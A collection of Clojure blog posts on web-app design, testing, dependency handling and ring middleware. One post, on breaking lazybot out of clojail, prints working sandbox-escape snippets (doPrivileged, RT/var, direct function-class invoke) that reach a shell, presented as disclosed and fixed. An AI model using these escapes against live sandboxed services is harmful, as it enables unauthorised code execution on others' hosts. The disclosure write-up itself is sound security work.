Nelson Morris

Return a function so you don't repeat yourself

2015-10-09T00:00:00+00:00

When designing a web client api the functions can end up looking similar. Everything boils down to the request execution. Each api function is just a bit different based on the exact http-method, api end point, or parameters. Removing this duplication might not be straightforward. A recent code review request had this situation. The author ended up writing a macro to extract the repetition.

I thought that by writing [a macro].. I wouldn’t have to repeat myself for every function and instead let the macro do the code generation for me?

[blmstrm](https://www.reddit.com/r/Clojure/comments/3mqvel/i_created_a_clojure_wrapper_for_the_spotify_api/cvhe67f)

;;https://github.com/blmstrm/clj-spotify/blob/598f023110e617c2f791715cc31e4781da301e9a/src/clj_spotify/core.clj#L83

(defmacro def-spotify-api-call
  "Creates a function f with doc-string d that calls the http-verb verb for url url."
  [f verb url doc-string]
  `(defn ~f 
     ~doc-string
     ([m#] (~f m# nil))
     ([m# t#]
      (let [query-params# {(set-params-type ~verb) (modify-form-params m#) :oauth-token t# :content-type :json}]
        (->
          (try
            (~verb (replace-url-values m# ~url) query-params#)
            (catch Exception e# (ex-data e#)))
          (response-to-map))))))

;; Example usage, imagine 50 similar invocations
(def-spotify-api-call get-an-album client/get (str spotify-api-url "albums/id")
  " Takes two arguments, a map m with query parameters and an optional oauth-token t.
  Compulsory key in m is :id, optional key is :market.
  :id has to have the value of an existing album's id.
  :market is an ISO 3166-1 alpha-2 country code.
  Example: (get-an-album {:id \"0MnG7y5F1n4Wns63RjEItx\" :market \"SE\"} \"BQBw-JtC..._7GvA\")")

This macro uses its parameters in a straightforward manner. It only unquotes (~) them. No other code runs during the expansion. This is a great example to explore and see how a functional approach can replace it.

Separate code structure work from functional work

To start, it is important to separate the functional work from the syntax changes the macro does. The bulk of the work happens in the let block. The let extracts into a function named exec-request!.

(defn exec-request!
  [http-method url params oauth-token]
  (let [query-params {(set-params-type http-method) (modify-form-params params)
                      :oauth-token oauth-token
                      :content-type :json}]
    (->
      (try
        (http-method (replace-url-values params url) query-params)
        (catch Exception e (ex-data e)))
      (response-to-map))))

(defmacro def-spotify-api-call
  "Creates a function name with doc-string d that calls the http-method for url."
  [f verb url doc-string]
  `(defn ~f 
     ~doc-string
     ([m#] (~f m# nil))
     ([m# t#]
      (exec-request! ~verb ~url m# t#))))

This provides us a simpler macro to look at. Now the macro is only adding the syntax requirements for a multi-arity function. You might come to a standstill here, but functions can replace this too!

Function creation is functional

Function creation does not need a macro’s syntax manipulation. Function creation can happen in normal functions. Refactoring and pulling it out of the macro requires multiple steps. First lets separate defn into its def and fn. One obstacle to this seperation is the recursion on ~f. Luckily fns in clojure take an optional name argument. This allows recursion by using this internal name. Lets call this one g#.

(defmacro def-spotify-api-call
  "Creates a function name with doc-string d that calls the http-method for url."
  [f verb url doc-string]
  `(def ~f 
     ~doc-string
     (fn g#
       ([m#] (g# m# nil))
       ([m# t#]
        (exec-request! ~verb ~url m# t#)))))

There is a problem will extracting the fn directly. It closes over the ~verb and the ~url. Those need to be parameters. But the function stored by def-spotify-api-call needs to take 1 or 2 parameters. Solving this problem requires adding another fn. It will take the additional two arguments and return the original fn.

(defmacro def-spotify-api-call
  "Creates a function name with doc-string d that calls the http-method for url."
  [f verb url doc-string]
  `(def ~f 
     ~doc-string
     ((fn [http-method# url#]
        (fn g#
          ([m#] (g# m# nil))
          ([m# t#]
            (exec-request! http-method# url# m# t#))))
      ~verb ~url)))

This provides a binding for the inner fn to close over http-method# and url#. Everything in the outer fn is local to it. Pulling it out allows for a name. Lets call it spotify-api-call.

(defn spotify-api-call
  [http-method url]
  (fn g
    ([params] (g params nil))
    ([params oauth-token]
      (exec-request! http-method url params oauth-token))))

(defmacro def-spotify-api-call
  "Creates a function name with doc-string d that calls the http-method for url."
  [f verb url doc-string]
  `(def ~f 
     ~doc-string
     (spotify-api-call ~verb ~url)))

spotify-api-call is a function constructor. Given the http-method and url it will return a function. Calling that function later with extra data will do the actual work.

Reviewing the macro

At this point def-spotify-api-call just shifts tokens around. Compare its macro invocation to the expansion.

(def-spotify-api-call get-an-album client/get (str spotify-api-url "albums/id")
  "doctring...")

(def get-an-album
  "docstring..."
  (spotify-api-call client/get (str spotify-api-url "albums/id")))

The macro no longer reduces code duplication. That was its purpose. Removing it makes sense.

Keeping it dry

The original code had a macro so the author “wouldn’t have to repeat myself”. The macro separated into code structure work vs functional work. A function constructor was able to return a multi-arity function definition. That reduced the macro to just token shifting, so it was removed. The end result keeps things dry with just functions.

How does serving html, css, and javascript fit in a clojure web app?

2015-06-01T00:00:00+00:00

When developing a clojure web app there are often static pieces that need to be served. Javascript and CSS are one example. Static html, such as a security or about page, is another. The java ecosystem’s term for these are resources. By using resource functions they can be packaged and deployed in a jar file.

Finding pre-packaged resources

There are a couple projects that maintain packaged versions of javascript and css libraries. If you are using clojurescript, then cljsjs will be useful for compatible versions. If you are just serving javascript/css, many libraries have been packaged on webjars.org.

Packaging your own resources

If the library you want isn’t packaged in the projects above, or is specific you your site, you can put into your project. In a standard leiningen project resources go in resources/. Many sites use resources/public for files that will be served as-is.

Serving resources

If you want to handle routing, ring.util.response/resource-response will return a ring response for the resource. The first argument is the path of the resource. The second argument is a map of options, the most common one being :root. This lets you preface the path with a parent path to start from.

(defroutes app-routes
  (GET "/" [] (resp/resource-response "index.html" {:root "public"})))

If your resource paths line up with your url paths, then ring.middleware.resource/wrap-resource may be easier. This middleware will look at all requests and see if a resource exists with that path. If one does then it returns a response with that resource, otherwise it allows normal routing to occur. The second argument to wrap-resource is the directory to preface with. This is useful so that not everything in the resource path is available.

(def app
  (-> routes
      (wrap-resource "public")))

There are some additional middleware that can be useful such as wrap-content-type and wrap-no-modified. The ring wiki has more information on these.

Debugging resources

Sometimes you might think the resource is there, but it just isn’t working. Unfortunately the jvm makes it near impossible to list available resources. However, clojure.java.io/resource is useful to see if the resource exists where you are expecting. It will return a URL if the resource exists, and nil if it doesn’t.

clojars.main> (clojure.java.io/resource "favicon.ico")
nil
clojars.main> (clojure.java.io/resource "public/favicon.ico")
#<URL file:/home/xeqi/workspace/tmp/clojars-web/resources/public/favicon.ico>

In this example, the resource public/favicon.ico exists. To have that mapped to the url "/favicon.ico" just requires (wrap-resource handler "public") in the middleware stack. If the routing is different then (resp/resource-response "favicon.ico" {:root "public"}) could be used as the ring response from the ring handler.

Reloaded a protocol and "No implementation of method"?

2015-05-18T00:00:00+00:00

While protocols provide a nice way to program to interfaces, they do have some unfortunate interactions with repl driven development. It’s annoying to be working along, reload a file, and then BOOM.

1. Unhandled java.lang.IllegalArgumentException
   No implementation of method: :draw of protocol: #'z.draw/Drawable
   found for class: z.core.Rectangle

But this code was just working! My Rectangle implements Drawable. It’s right there. I can see it in the code!

Having code that looks like it should work, but getting runtime errors is annoying. Getting ones that aren’t immediately understandable, about code that was just working, can frustrate anyone.

So what causes this error?

To duplicate this error imagine working on two files.

(ns z.core
  (:require [z.draw :as d]
            [clojure.string :as str]))

(defrecord Rectangle [width height]
  d/Drawable
  (draw [t] (str "I'm a " width "x" height " rectangle!")))

(defn draw-many-rectangles []
  (let [rs (map ->Rectangle (range 3) (range 3))]
    (d/draw-many rs)))

(ns z.draw)

(defprotocol Drawable
  (draw [t]))

(defn draw-many [shapes]
  (map draw shapes))

Loading these files into a repl works. Calling draw-many-rectangles outputs something expected.

z.core> (draw-many-rectangles)
("I'm a 0x0 rectangle!" "I'm a 1x1 rectangle!" "I'm a 2x2 rectangle!")

Now imagine having to change what the output is. Perhaps instead of a list of strings draw-many needs to return a single string.

(ns z.draw
  (:require [clojure.string :as str]))

(defprotocol Drawable
  (draw [t]))

(defn draw-many [shapes]
  (str/join "\n" (map draw shapes)))

A common workflow is to reload a file into a repl once editing it is done. This could be with cider’s C-c C-x, or clojure’s load and load-file functions. Doing this for the z.draw namespace and attempting to run (draw-many-rectangles) will cause an error.

1. Unhandled java.lang.IllegalArgumentException
   No implementation of method: :draw of protocol: #'z.draw/Drawable
   found for class: z.core.Rectangle

              core_deftype.clj:  554  clojure.core/-cache-protocol-fn
                      draw.clj:    4  z.draw/eval8029/fn/G
                      core.clj: 2622  clojure.core/map/fn
                  LazySeq.java:   40  clojure.lang.LazySeq/sval
                  LazySeq.java:   49  clojure.lang.LazySeq/seq
                  LazySeq.java:   71  clojure.lang.LazySeq/first
                       RT.java:  653  clojure.lang.RT/first
                      core.clj:   55  clojure.core/first
                    string.clj:  185  clojure.string/join
                      draw.clj:    8  z.draw/draw-many
                      core.clj:   11  z.core/draw-many-rectangles
                          REPL:    1  z.core/eval8047
...

This happens because when the z.draw namespace was reloaded it created a new protocol with the same name. But the z.core namespace was evaluated with the previous reference. It’s defrecord referred to the old version of Drawable. When creating a Rectangle it will implement the old protocol.

How to fix

The z.core namespace needs to be reloaded. Then it will redefine Rectangle and refer to the correct Drawable. This can be done by using the same load-file technique that loaded z.draw.

Doing this by hand can be annoying. There are techniques to reduce the possibility of encountering this. One is to only define a protocol in a other wise empty namespace. All other functions go elsewhere. Then these types of errors can only occur when changing the protocol definition.

A tooling based solution is to use tools.namespace and something similar to reloadable systems in order to reload your entire application at once. I’ve been told cursive’s “Load File in REPL” command implements a similar namespace reloading mechanism.

Using component for dependency injection in clojure web apps

2015-05-14T00:00:00+00:00

In clojure, the common dependency injection library is component. It allows naming services in your application. Then a service can declare dependencies on other services by those names. These services can also declare start and stop functions to properly initialize and cleanup. When the entire system is started, it will resolve those names and inject the correct dependencies where needed.

There are some good videos about component from recent conferences:

Hooking component up into a ring app

One of the issues that comes up with ring apps is the declaration of a ring handler as a static top level form. A common pattern in clojure web apps is to see

(defroutes routes ....)

(def app
  (-> routes
      middleware1
      ....))

This works fine for small apps and examples. However, app is built at compile time. There is no way to tell the ring handler to use a in-memory database or a storing email mechanism for the test environment, while using other ones for a development or production environment.

One solution is to turn app into a function that takes the map of services. Then it could add a middleware that adds the services to the ring request. Destructuring in routes can then pull out the services that are wanted. For example:

(defroutes routes
  ...
  (PUT "/signup" {:keys [services params]}
    (let [{:keys [database notifier]} services
          {:keys [user]} params]
      (controller/signup-user db notifier user)))
  ...)

(defn wrap-services [f services]
  (fn [req]
    (f (assoc req :services services))))

(defn app [services]
  (-> routes
      (wrap-services services)
      ...))

Now services can be added when the handler is created. For tests, a library like kerodon can be given a handler with just test services.

But how does this work with component for the main application? Since component is used to start systems it could be used to start the database, mailer, and even the web server. The web server can declare a dependency on those services and create the service map it uses to create the handler.

(defrecord WebServer [config jetty database notifier]
  component/Lifecycle
  (start [this]
    (if jetty
      this
      (assoc this :jetty
        (jetty/run-jetty (app {:database database
                               :notifier notifier}) config))))
  (stop [this]
    (when jetty
      (.stop jetty))
    (assoc this :jetty nil)))

(defn system [config]
  (component/system-map
    {:database (database-component config)
     :notifier (email-component config)
     :server   (component/using (map->WebServer {:config config}))}
                 [:database :notifier]))

When component/start is called on a system, it will run the webserver with everything hooked up correctly. This could be done in a -main for a standalone server.

Finding functions with the clojure cheatsheet

2015-05-06T00:00:00+00:00

When moving between languages built-in functions always end up with different names. In ruby the reject method will remove functions from a list using a predicate. It has the same name in underscore. In haskell it is called deleteBy. Do you know what it is called in clojure?

Use the Clojure cheatsheet

The clojure cheatsheet is a great resource when problems like this occur. You know what you want to do, and what kind of data it interacts with, but just can’t quite name it.

The clojure cheatsheet is also great for function discovery. There have been times where I want to do something related to composition or argument threading, but -> just doesn’t work. Looking at the cheatsheet around -> provides the other threading macros. I’ve used as-> and cond-> to make significant cleanups in my code, but would have missed them without the reference.

Links to examples

Additionally, the online cheatsheet version is connected to clojuredocs. With this you can click through and see examples of how to use any of the functions. Do you know how to use for with :when, :let, or :while? There are examples that show the syntax and result.

There are other sites too

There are other cheatsheet and reference sites such as the clojuredocs quickref or grimoire. They provide similar information, but provide different views and interactions. Try them out, and see which one works best for your workflow.

Test sending emails with protocols

2015-05-03T00:00:00+00:00

How do you test your system when it needs to send an email?

Imagine a working on a story card tracker, like pivotal or trello. A user can be assigned a card. Then the system should send them an email and let them know. Wait a minute … Our code needs to talk with the outside world!

How do we test its going to send the right email?

Lets gather some example code. A user can be assigned a card with the app.core/assign-card function and it needs to send them an email.

(ns app.notify
  (:require [postal.core :as postal]))

(defn user-assigned! [mail-host email title]
  (postal/send-message
    mail-host
    {:from "no-reply@example.org"
     :to email
     :subject (str title "has been assigned to you")
     :body "......"))

(ns app.core
  (:require [app.notify :as notify]))

(defn assign-card [config user card]
  ;; do some other work
  ;; then notify the user
  (notify/user-assigned! (:mail-host config)
                         (:email user)
                         (:title card)))

We’d like to write a test checking that app.core/assign-card sends an email to the right address. Unfortunately the side effecting code is further down in the system. It’s in another namespace and referred to through notify/user-assigned!.

The app.notify namespace can be thought of as a global singleton. It comes with all the advantages of global singletons, but also has the downsides. The important downside for testing is the difficulty of replacing it in order to change the functionality. We’d like to be able to refer to the function, but then call some stub implementation that doesn’t actually send an email.

Using a protocol allows us to switch the functionality

Using a protocol allows us to refer to the function, but pass in an argument that determines which implementation gets used. We can then create one implementation that uses the original functions to send email.

The actions required to replace the namespace with a protocol:

Create a protocol with methods for each function used outside the namespace, ignoring any config arguments
Create a record that will implement that protocol through the current functions, storing the config arguments in the record
Change any callers of those functions to use the new protocol methods and call with a record instead of any config arguments

In the case of sending an email, we can make a Notify protocol. Then we create a record PostalNotifier that takes the mail-host config. Finally we change the system’s config to use the new record.

(ns app.notify)

(defprotocol Notify
  (user-assigned! [this email title]))

(ns app.notify.email
  (:require [postal.core :as postal]
            [app.notify :as notify]))

(defrecord PostalNotifier [mail-host]
  notify/Notifier
  (user-assigned! [_ email title]
    (postal/send-message
      mail-host
      {:from "no-reply@example.org"
       :to email
	   :subject (str title "has been assigned to you")
       :body "......"))

(ns app.core
  (:require [app.notify :as notify]
            [app.notify.email :as email))

(comment
  ;; production config should now contain a
  (email/->PostalNotifier mail-host)))

(defn assign-card [config user card]
  ;; do some other work
  ;; then notify the user
  (notify/user-assigned! (:notifier config)
                         (:email user)
                         (:title card)))

Create a stub implementation for the protocol

Adding this abstraction allows us to create a stub implementation of Notify. We can then create a config for testing that uses the StubNotifier and use that in our tests. Given this is a stub and built for testing purposes, we can even reach inside to grab data and examine it for correctness.

(ns app.core-test
  (:require [app.core :as app]
            [app.notify :as notify))

(defrecord StubNotifier [emails]
  notify/Notifier
  (user-assigned! [_ email title]
    (swap! emails conj {:email email :title title})))

(deftest assigning-a-user-sends-them-an-email
  (let [notifier (->StubNotifier (atom []))
        user ....
        card ....]
    (app/assign-card {:notifier notifier}
                     {:email "email"}
                     {:title "title"})
    (is (= (:email (first (:emails notifier)))
           (:email user)))))

Most of the time using normal namespaced functions is great. Occasionally we’ll build some namespaces that are designed for side effects. In order to test the overall system we’ll want to replace that part, and a protocol will work out better. It allows us to provide stub implementations, and make sure that their functionality is being called as desired.

Streaming responses using ring

2015-04-22T00:00:00+00:00

This response is too big to wait until it is all generated to send back. The response time for the client is bad. Can we start sending some it earlier?

I needed to send a large list of files to a browser and have it show a directory tree. The response time of trying to generate the entire list was simply too slow. The user would click in their browser and wait.. and wait.. It was not a good user experience. Luckily, I could use streaming responses to start sending data as soon as a small portion was ready.

Ring streaming at the lowest level, `InputStream`s and `OutputStream`s

The lowest level way is to send a ring response with a :body of type java.io.InputStream. An InputStream is designed to have data read from it, which makes putting data in require a bit of book keeping. However, ring provides ring.util.io/piped-input-stream which handles this book keeping and provides a OutputStream for your use. An OutputStream is designed to have input placed into it, and works with functions like clojure.core/spit. It is one of the lower level io abstractions in java, and works at the byte level.

However, many libraries will want something that understands more than bytes. For example, clojure.data.xml’sclojure.data.xml/emit and cheshire’s chesire.core/generate-stream both expect a java.io.Writer. A Writer is able to work at the Character and String level. Clojure provides a function clojure.java.io/writer to convert an OutputStream into a Writer.

With piped-input-stream and writer we can start putting together a streaming response. Imagine we hava a function directory-list which will return a xml response, such as from clojure.data.xml/parse. We’d prefer not to have the entire parse structure and a string for the response in memory due to space and time constraint.

Attempt 1: Sending a large XML response

(require '[clojure.data.xml :as xml])
(require '[clojure.java.io :as io])
(require '[ring.util.io :as ring-io])

(defn directory-list []
  ;; A small xml for demonstration.  Imagine something much larger
  (xml/parse (java.io.StringReader.
              "<?xml version=\"1.0\" encoding=\"UTF-8\"?><foo><bar><baz>The baz value</baz></bar></foo>")))

(defn directory-stream []
  (ring-io/piped-input-stream
    #(xml/emit (directory-list)
               (io/make-writer % {})))))

This looks like it should work, but if we test it out at the repl we can see a problem.

(slurp (directory-stream))
;;=>  ""

When we try reading from the stream it is empty! This happens due to the intermediate Writer we have created. It will buffer data to make sure to send efficently. piped-input-stream will close the underlying OutputStream when it is done with it, but no one currently tells the Writer it should be done. So anything stored in its buffer gets lost. To fix this, we need to use java.io.Writer#flush after the emit.

(defn directory-stream []
  (ring-io/piped-input-stream
    #(let [writer (io/make-writer % {})]
       (xml/emit (directory-list))
           (.flush writer))))

Then when testing it at a repl, we can get the entire response.

(slurp (directory-stream))
;;=>  "<?xml version=\"1.0\" encoding=\"UTF-8\"?><foo><bar><baz>The baz value</baz></bar></foo>"

Complete XML streaming example

(ns z.core
  (:require [ring.adapter.jetty :as jetty]
            [clojure.data.xml :as xml]
            [clojure.java.io :as io]
            [ring.util.io :as ring-io]
            [ring.util.response :as response])
  (:import java.io.OutputStreamWriter
           java.io.BufferedWriter
           java.net.URL))

(defn data
  "Download a 5MB file and parse it"
  []
  (-> "http://www.cs.washington.edu/research/xmldatasets/data/tpc-h/orders.xml"
      URL.
      .openStream
      xml/parse))

(defn send-xml [request]
  (if (= (:uri request) "/stream")
    (response/response
     (ring-io/piped-input-stream
      #(->> (io/make-writer % {})
            (xml/emit (data))
            .flush)))
    (response/response
     (xml/emit-str (data)))))

(comment
  (def server (jetty/run-jetty #'send-xml {:port 8080 :join? false}))
  (.stop server))

If we start a server as mentioned in the comment and use curl to check it we can see http://localhost:8080/stream begins streaming “quickly”, where as http://localhost:8080 waits until the entire response is generated.

Saturday remote pairing

2014-04-07T00:00:00+00:00

I’ve stopped doing this for now.

Want someone to pair program some clojure code with? Me too! I’ve got time on US Saturdays and want to find people to pair with for 1-2 hours. This seems like an awesome way to teach and learn about lots of projects from lots of people.

Schedule a time or read below for details.

What do you get?

If you are a beginner

You get one on one time with a clojure expert willing to help.
You can learn functional thinking and code structure.
If you are not a beginner
You get a pair highly interested in pairing, testing, and functional architecture to code and bounce ideas off.
You get some dedicated time to learn about projects.
You get a chance to teach.
More practice reading code!

Who am I?

I am Nelson Morris (xeqi). I’ve contributed heavily to leiningen, co-maintain clojars, have a commit into clojurescript and have built other open source projects. I’ve been an independent consultant for several years using a combination of clojure and ruby. I’ve got a strong interest in web, tooling, and teaching.

What I get

I get to meet lots of cool people!
I get ideas for my upcoming clojure screencast series
I get exposure to lots of projects
I get to learn stuff too

Possible projects

I’m open to spending time on almost anything non-work related. I’d prefer if you had a project in mind so you get the most out of it. Here are some general ideas:

Beginner ideas:

bowling kata (good for functional thinking)
4 clojure problems
explaining core clojure functions
repl workflow

Experienced ideas:

Anything web/tooling (om, tools.analyze, etc)
Code dives to figure out how something works
Exploring test.check properties for test suites
Have an oss lib you want to explain and review?

Other ideas are awesome too!

Prefered setup

EC2 instance (or other vps)
emacs (cider+paredit)
tmux
ssh
skype

I’ve found these tools to work the best for remote clojure pairing. I’m open to trying others.

Interested?

I’m generally available on Saturdays 10am-5pm US EST, and would be happy to block out 2 hours for a pairing session. Schedule a time and we can discuss the project and the environment setup.

Questions?

Send a question Here are some pre-answered.

Can we spend time on a work project?

This sounds like more of a consulting arrangement. I’d be happy to set something up through Zenslade Software if you would find a 2 hour block useful.

Have you signed a clojure contributor’s agreement?

Yes, and I’d be happy to place work done during this time under it if required.

Saturday doesn’t work for me. Can we schedule a different time?

Unfortunatly Saturday is the only day that works for me. I highly encourage sending an email to the clojure list or joining #clojure on freenode and trying to set something else up with another person.

I’m not an emacs user, can we use __?

Sure, as long as it can work remotely with minimal setup. It might require you driving more. The fun stuff is concepts, teaching, and building, not the particular tools. Though if you’re interested in learning some general emacs+clojure we can cover that too.

CSRF protection in ring

2013-10-15T00:00:00+00:00

There are several security attacks that frameworks like Rails try to guard against. In clojure, the choice of using several small libraries instead of a framework means we have to work to protect ourselves. This post will cover how to protect against CSRF attacks.

James Reeves has written ring-anti-forgery, a middleware that will intercept POSTs, PUTs, PATCHes, and DELETEs and check for an anti-forgery token.

The basic example of usage from the readme:

(use 'ring.middleware.anti-forgery
     'ring.middleware.session)
     
(def app
  (-> handler
      wrap-anti-forgery
      wrap-session))

Using ring-anti-forgery requires also using a session middleware in order to save the expected anti-forgery token across requests. Attempting to send a form request at this point should present an error page. Customization of the error is handled by passing options to wrap-anti-forgery as described in the readme.

In order for form requests to succeed, the form needs to include the anti-forgery token as a parameter. A function ring.util.anti-forgery/anti-forgery-field is defined to create html for a hidden field with the token. Additionally, ring.middleware.anti-forgery/*anti-forgery-token* contains the token for the request, and can be used in your templates. For example, in clojars I’ve written a helper that will automatically add the token. It works as a drop-in replacement for hiccup’s form-to

(defmacro form-to
  "Create a form that points to a particular method and route.
  e.g. (form-to [:put \"/post\"]
  ...)"
  [[method action] & body]
  `(if (contains? #{:head :get} ~method)
     (form/form-to [~method ~action] ~@body)
     (form/form-to [~method ~action]
       (conj
         (form/hidden-field "__anti-forgery-token"
                            anti-forgery/*anti-forgery-token*)
         ~@body))))

Using jetty for testing clojure web apps

2013-10-14T00:00:00+00:00

I’m a big fan of functional tests that work at the level of a user of an application. While working on web applications in clojure, I’ve even written kerodon, a library to keep cookies around between ring requests to make writing them easier. However, there are times when a running a server is useful.

Thanks to jetty, it is easy to setup a test fixture to start a server.

(declare test-port)

(defn with-server
  [f]
  (let [server (jetty/run-jetty #'app {:port 0 :join? false})
        port (-> server .getConnectors first .getLocalPort)]
    (with-redefs [test-port port]
      (try
        (f)
        (finally
          (.stop server))))))
          
(use-fixtures :once with-server)

(def url [relative]
 (str "http://localhost:" test-port relative))

Then the url function can be used to make a url pointing to the running server. There are a few cases where this is useful:

In clojars we have some tests that start a server, use pomegranate to perform actions, and check the repo and local maven cache state. This is the highest level test possible, using the actual library lein uses to gather dependencies, and checking it against a live server.
In com.cemerick/friend the functional tests use clj-http to query against a live server.
If a javascript environment is needed, a server can be started and a library like clj-webdriver can run a browser or PhantomJS against it.

Ring Tests with Peridot; humanized with Kerodon (Video)

2013-01-25T00:00:00+00:00

I gave a lightening talk about peridot and kerodon at Clojure/conj 2012. I’m the first speaker in Clojure/conj 2012 - Lightning Talks. Unfortunatly embedding not allowed.

Solving version conflicts with lein-pedantic

2012-09-13T00:00:00+00:00

A couple months ago I wrote do not use version ranges in project.clj. While this helps reduce confusion about what version of dependencies a project will use, it does not eliminate all sources of confusion.

Different dependency versions

(defproject sample "0.0.1"
  :dependencies [[org.clojure/clojure "1.4.0"]
                 [com.cemerick/friend "0.0.9"]
                 [noir "1.3.0-beta9"]])

This project graph has two versions of ring/ring-core that it wants to use. com.cemerick/friend wants [ring/ring-core "1.0.2"] and noir wants [ring/ring-core "1.1.0"] The dependency resolution in lein/maven/aether will end up choosing the one closest to the project root, which in this case is [ring/ring-core "1.0.2"]. This causes a problem because noir wants to use ring.middleware.head which was added in 1.1.0.

(defproject sample "0.0.1"
  :dependencies [[org.clojure/clojure "1.4.0"]
                 [ring/ring-core "1.0.2"]
                 [noir "1.3.0-beta9"]])

A similar problem can occur for top level dependencies.

Introducing lein-pedantic

To help solve these problems, I’ve written lein-pedantic. It is a plugin for leiningen that will reject dependency graphs with common errors that would be confusing for users. In addition, it tries to provide a helpful command to use to fix the issue. For example, the noir and com.cemerick.friend issue would result in:

Failing dependency resolution because:

[com.cemerick/friend "0.0.9"] -> [ring/ring-core "1.0.2"]
  is overruling
[noir "1.3.0-beta9"] -> [compojure "1.0.4"] -> [ring/ring-core "1.1.0"]
  
Please use [com.cemerick/friend "0.0.9" :exclusions [ring/ring-core]] to get
[ring/ring-core "1.1.0"] or use [noir "1.3.0-beta9" :exclusions [ring/ring-core]] to get
[ring/ring-core "1.0.2"].

It is designed to use leiningen’s hook system, and only requires being added to the :plugins vector. No extra tasks are added, it just runs anytime leiningen attempts to resolve dependencies.

It works by determining the dependency graph for each of the project’s dependencies on their own, and comparing them to the collective dependency graph. It will reject the graph if

A top level dependency is overruled by another version.
A transitive dependency is overruled by an older version.

Together, these help identify most of the problems “soft/recommended” dependencies cause. In addition, lein-pedantic does not change the dependency resolution rules, so the final dependencies put in project.clj will work the same in maven or another aether based system.

Breaking lazybot out of clojail

2012-09-06T00:00:00+00:00

Seeing lazybot’s libs

While in #clojure Tim McCormack answered a question by showing lazybot evaluating loaded-libs. Seeing somnium.congomongo in that list intrigued me. lazybot uses clojail to restrict some actions, yet I had seen people use namespaced functions like clojure.set/map-invert. After some exploring it was possible to gain access to lazybot’s database, and even send messages as lazybot with irclj. These were reported and fixed.

No direct shell access

I was curious if there were holes beyond the application layer to shell access.

(:out (clojure.java.shell/sh "whoami"))

<lazybot> java.security.AccessControlException: access denied 
                (java.io.FilePermission <<ALL FILES>> execute)

Lazybot uses clojail and the java security policy to prevent bad things. This exception comes from the java policy and says that file access is turned off, which is used by shell access.

clojail.jvm allowed shell access

However, clojail.jvm contains a function that allows running code with escalated privileges.

(clojail.jvm/jvm-sandbox (fn [] (:out (clojure.java.shell/sh "whoami"))) nil)

<lazybot> ⇒ "raynes\n"

Boom. At this point I’d found a way to get to a shell and run code. It was also possible to use the java.security.AccessController directly in order to do privilege escalation.

(java.security.AccessController/doPrivileged
  (reify java.security.PrivilegedAction
    (run [_] (:out (clojure.java.shell/sh "whoami")))))

(java.security.AccessController/doPrivileged
  (proxy [java.security.PrivilegedAction] []
    (run [] (:out (clojure.java.shell/sh "whoami")))))

Fixed as of:

Now they output one of the following:

<lazybot> java.lang.SecurityException: You tripped the alarm! clojail.jvm is bad!

<lazybot> java.lang.SecurityException: You tripped the alarm! package java.security, Java Platform API Specification, version 1.6 is bad!

Clojure -> Java -> Clojure

Once the direct access of clojail.jvm/jvm-sandbox was blocked, it was time to see if there were other ways to get to it. Fortunately, directly calling resolve was blocked:

(resolve "clojail.jvm/jvm-sandbox")

<lazybot> java.lang.SecurityException: You tripped the alarm! resolve is bad

However, using java interop there were still ways to retrieve the var though clojure.lang.RT.

((clojure.lang.RT/var "clojail.jvm" "jvm-sandbox")
 (fn [] (:out (clojure.java.shell/sh "whoami")))
 nil)))

<lazybot> ⇒ "raynes\n"

Fixed as of:

clojail/27debb8

There were a few other varations of this that were fixed with the 1.0.0 and 1.0.1 releases.

Clojure -> Java -> Clojure (again)

Clojure functions are compiled into classes that are loaded by the jvm. It is possible to instantiate and .invoke them directly. This provided another technique to break access.

(.invoke (clojail.jvm$jvm_sandbox.)
  (fn [] (:out  (clojure.java.shell/sh "whoami"))) nil)

<lazybot> ⇒ "raynes\n"

Fixed as of:

clojail/4145ac1

Update your clojail

Since clojail.jvm is sandbox related, the sandboxes that come with clojail will block it. The underlieing techniques of calling it through java interop would have worked for gaining access to the application layer code as well. If you are running a service using clojail, make sure to update to the latest version with these fixes. Also, it is important to blacklist any namespaces in the application that users should not have access to, such as ones with database interactions.

A note from Anthony Grimes

After reading a preview of this, Anthony wanted to add a bit at the end.

Nelson did some excellent work here hunting down issues with clojail. He found some issues that resulted in me changing fundamental aspects of clojail. You’ll notice that we’re now past 1.0.0, and there are huge breaking changes. I rewrote the entire ‘tester’ implementation. With Nelson’s motivation, we were also able to make clojail immensely faster. It will never run code quite as fast as it would run outside of the sandbox, but clojail now runs code that used to time out in 15 seconds in less than 200 millseconds. I think that’s a pretty huge improvement!

I personally want to thank Nelson for spending his time finding these things that I and Alan had missed while writing clojail. His contributions will make everything that uses clojail much safer. Make sure that if you use clojail, you always use the latest version. Always report any bugs/holes you find as quickly as possible so that they can get closed. More importantly, while I appreciate Nelson hunting down these holes, there is an appropriate way to go about it (and he, of course, did). If you plan to go hole hunting, here are a couple of things to remember:

Report the issues. It’s okay to hunt them for fun, but if you don’t report them, you’re leaving it open for other people’s real-world applications to get damaged.

It is best for you to use a local copy of clojail for trying things out. Don’t abuse websites and public applications (irc bots) without alerting the author first. You may accidentally break something.

You can use lazybot for testing stuff out, but please do so while I am around. Don’t try to bring the bot down without asking me first. The bot is in a number of channels that you’ve probably never heard of doing various good deeds and those people may or may not be able to survive without their dose of lazybot. ;)

Safe evaluation for all!

Using friend in clojars

2012-09-01T00:00:00+00:00

In the ruby web world there is a great set of libraries for authentication in warden and devise. Earlier this year, Chas Emerick released friend, which is a similar library for clojure. When I first started contributing to clojars, it was using custom authentication and authorization functions. After friend was released I was able to remove most of this code.

Use bcrypt

Around this time Phil Hagelberg had changed clojars to use bcrypt. This made it easy to use friend’s bcrypt-credentials-fn to do the password checking. It just required querying the database with find-user-by-user-or-email, and to return the proper map for bcrypt-credentials-fn. Note: :roles are not used in clojars; why is explained later.

(partial creds/bcrypt-credential-fn
  (fn [id] 
    (when-let [{:keys [user password]}
               (find-user-by-user-or-email id)]
             {:username user :password password})))

Interactive Form Workflow

Friend comes with a interactive-form workflow. It works by listening for a :post on /login(by default) and using the credential function to attempt the login. In the case of success it will forward to the url with unauthorized access. In the case of failure it will redirect back to /login?login_failed=..&username=...

This was different then the previous clojars authentication style, which would render the login form directly on an unsuccessful login. Rather then building a new workflow, the/login handler was adapted to check for those params and render a login failed message.

The clojars logout functionality also had to be replaced with friend’s logout middleware, but that was easy to use.

Registration Workflow

Friend does not come with a workflow for registering. However, it was easy enough to change the clojars registration pages into one.

(defn register-form [ & [errors email username ssh-key]]
  ....)

(defn register [{:keys [email username password confirm ssh-key]}]
  (if-let [errors (validate-profile nil email username password confirm ssh-key)]
    {:status 200 :headers {} :body (register-form errors email username ssh-key)}
    (do (add-user email username password ssh-key)
        (make-auth {:username username}))))

